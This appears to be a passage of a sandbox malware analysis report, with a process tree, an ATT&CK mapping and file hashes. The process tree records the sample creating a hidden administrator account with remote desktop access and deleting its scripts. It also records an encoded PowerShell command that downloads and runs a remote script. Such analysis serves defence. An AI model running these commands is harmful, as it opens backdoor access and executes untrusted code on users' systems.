    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:840
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4056
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2476
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3244
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:3660
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4784

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:5104

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc CcD1SFjc /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc CcD1SFjc /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc CcD1SFjc /add
    3⤵
    PID:3964

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:5032

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" LQHDAPZK$ /ADD
1⤵
PID:392
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" LQHDAPZK$ /ADD
  2⤵
  PID:2604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" LQHDAPZK$ /ADD
    3⤵
    PID:1592

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:3608
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:4420

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc CcD1SFjc
1⤵
PID:384
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc CcD1SFjc
  2⤵
  PID:2184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc CcD1SFjc
    3⤵
    PID:528

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3584
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:4296

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4704
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4608

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3752
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES38C3.tmp

Filesize
1KB

MD5
87e9c9ea714cc2a550439e55b0590c7a

SHA1
9fdc81b788045abbc41694bd5433c5f5c76ccb67

SHA256
224f9956b13f02169d85a237b167bf9d0908b985a4371f220220692e9ba05f04

SHA512
e333982ac30e94e220b9becfdada3e294a8501f8bda240c5a4324825d7cfbf06b8e454773ac502eedfff145531d4c37d97543bb5c51078a28c8d781f6a193cbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4aozrmp2.sf2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
9fca6b1768eba2c5d42f189123152e32

SHA1
560ec3249af6e8d82e994554475b870d32145352

SHA256
c5c7012656bfebd5ba7d4ae8459bd2fcc57ac661e413e2b1da339b9fba86de1f

SHA512
b72f2bc28dcde144596eabb62375479c4ddb3b004ac8759ee9523170289f55572784e695a552fd612a5dc5a56f6c76b3baee9831c7cac7123f72b2eb2aadb3f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\ugz55qe4\ugz55qe4.dll

Filesize
3KB

MD5
2947bf837d4de98c33bb87ce34204d65

SHA1
66e734f461395115240d1ab22c98d70e9fcfa09f

SHA256
24f8235c482db34adba889e56adc148aae145efdbfbb7e9a00001f44e5f9cc23

SHA512
3051db0f9496520ddb513b51c0afb968253941d50172317670dc2a17e1c67e0ec30b4d2e3a5954e12fc998495d8cef10b6da24f8f5f320e2ae4051f55f18e0f8

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
0750828e5a80dae0280c43945332e145

SHA1
fa1c85c33c0b99f8df14b6ccbd37f5df3d62c30c

SHA256
637dd8f4245397e281bf84433f75eeb40461e70e81a11a4c2c252dc8f9e4b947

SHA512
a45f4023f5d8951fef44bbe830c1b8992e7cb9c013882048d7227bac0c76869584c1ccc1d323803ced7a1e353998d0bface12eb9ef1dcd04e8e39b155528fd14

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
0941efccfdbde6a619081456be071102

SHA1
4d9079f335bfdb4e88e022ffdd2193c4561f099d

SHA256
99dbace98f5f29a5c0c962db270dc195a8b6d2f8dbb009b79b929ff9d68d8281

SHA512
bbb587471dec6beae7852ae2ee1fff0efb26ce57ab69dbaf4385c965bf09a31be60c67951e52f488866daa0effab715e6b1a0aca5b02a7fdcc5dd586d84d56ab

Download Submit
C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI5F46.tmp

Filesize
24KB

MD5
d0e162c0bd0629323ebb1ed88df890d6

SHA1
cf3fd2652cdb6ff86d1df215977454390ed4d7bc

SHA256
3e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744

SHA512
a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ugz55qe4\CSC95EA615C74594185A57F9282C972CA.TMP

Filesize
652B

MD5
13c9bd3f3a4bc929ffeb9703811c1481

SHA1
fcdf9026e7291e89b4df31791ed19be866486788

SHA256
19f31095ff7c95142b97e4d5928f9f5b637ac2d75d9a1158dc02b96193ffb494

SHA512
38ec1b5d188fb4a1a34e835b518470acceda3eb6eb0c59ef406146fec3944589f07ae594cb12909d1d0c83be6e04131c7d071e621e40d8f1e52e836f6351271b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ugz55qe4\ugz55qe4.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ugz55qe4\ugz55qe4.cmdline

Filesize
369B

MD5
fcab66826fe164db94859c61a355ebc3

SHA1
2c70951ce52287ec76d92e0b5b11384a41337142

SHA256
c6aa352afb56889ccccf8f09a1479b130f5699d2970accba919a62d843735af1

SHA512
ef61dd17f21c10f618a1912dbc0a8de278e0f8a97082f8f52632ace73d14476af1ba0790287eda6f13260a6fdf48fa3be1d40a260a0ad00a6730c12b5a21b3ac

Download Submit
memory/2444-48-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/2444-50-0x00000230B7F10000-0x00000230B7F20000-memory.dmp

Filesize
64KB

Download
memory/2444-49-0x00000230B7F10000-0x00000230B7F20000-memory.dmp

Filesize
64KB

Download
memory/2444-51-0x00000230D0600000-0x00000230D0648000-memory.dmp

Filesize
288KB

Download
memory/2444-52-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/2780-66-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/2780-63-0x000001E748FA0000-0x000001E748FB0000-memory.dmp

Filesize
64KB

Download
memory/2780-65-0x000001E749490000-0x000001E7494D8000-memory.dmp

Filesize
288KB

Download
memory/2780-53-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/2780-64-0x000001E748FA0000-0x000001E748FB0000-memory.dmp

Filesize
64KB

Download
memory/3604-81-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/3604-80-0x0000017752BC0000-0x0000017752C08000-memory.dmp

Filesize
288KB

Download
memory/3604-74-0x0000017752C20000-0x0000017752C30000-memory.dmp

Filesize
64KB

Download
memory/3604-73-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/3604-76-0x0000017752C20000-0x0000017752C30000-memory.dmp

Filesize
64KB

Download
memory/4728-16-0x00000158F0860000-0x00000158F0882000-memory.dmp

Filesize
136KB

Download
memory/4728-119-0x00000158F06E0000-0x00000158F0728000-memory.dmp

Filesize
288KB

Download
memory/4728-162-0x00007FFC3AD60000-0x00007FFC3AD79000-memory.dmp

Filesize
100KB

Download
memory/4728-161-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-18-0x00000158F0050000-0x00000158F0060000-memory.dmp

Filesize
64KB

Download
memory/4728-19-0x00000158F0050000-0x00000158F0060000-memory.dmp

Filesize
64KB

Download
memory/4728-33-0x00000158F0850000-0x00000158F0858000-memory.dmp

Filesize
32KB

Download
memory/4728-36-0x00000158F0050000-0x00000158F0060000-memory.dmp

Filesize
64KB

Download
memory/4728-38-0x00000158F1150000-0x00000158F135A000-memory.dmp

Filesize
2.0MB

Download
memory/4728-156-0x00000158F0050000-0x00000158F0060000-memory.dmp

Filesize
64KB

Download
memory/4728-83-0x00007FFC3AD60000-0x00007FFC3AD79000-memory.dmp

Filesize
100KB

Download
memory/4728-37-0x00000158F0DC0000-0x00000158F0F36000-memory.dmp

Filesize
1.5MB

Download
memory/4728-150-0x00000158F0050000-0x00000158F0060000-memory.dmp

Filesize
64KB

Download
memory/4728-17-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-117-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-82-0x00000206BEED0000-0x00000206BEEE0000-memory.dmp

Filesize
64KB

Download
memory/4856-104-0x00000206BEED0000-0x00000206BEEE0000-memory.dmp

Filesize
64KB

Download
memory/4856-164-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-1-0x00000206BF2F0000-0x00000206BF6F4000-memory.dmp

Filesize
4.0MB

Download
memory/4856-2-0x00000206BEED0000-0x00000206BEEE0000-memory.dmp

Filesize
64KB

Download
memory/4856-67-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-101-0x00000206BEED0000-0x00000206BEEE0000-memory.dmp

Filesize
64KB

Download
memory/4856-3-0x00000206BEED0000-0x00000206BEEE0000-memory.dmp

Filesize
64KB

Download
memory/4856-0-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/4856-4-0x00000206BEED0000-0x00000206BEEE0000-memory.dmp

Filesize
64KB

Download
memory/5048-116-0x00000230390E0000-0x00000230390F0000-memory.dmp

Filesize
64KB

Download
memory/5048-154-0x00000230511D0000-0x0000023051218000-memory.dmp

Filesize
288KB

Download
memory/5048-155-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download
memory/5048-151-0x00000230390E0000-0x00000230390F0000-memory.dmp

Filesize
64KB

Download
memory/5048-118-0x00000230390E0000-0x00000230390F0000-memory.dmp

Filesize
64KB

Download
memory/5048-115-0x00000230390E0000-0x00000230390F0000-memory.dmp

Filesize
64KB

Download
memory/5048-114-0x00007FFC2C730000-0x00007FFC2D1F1000-memory.dmp

Filesize
10.8MB

Download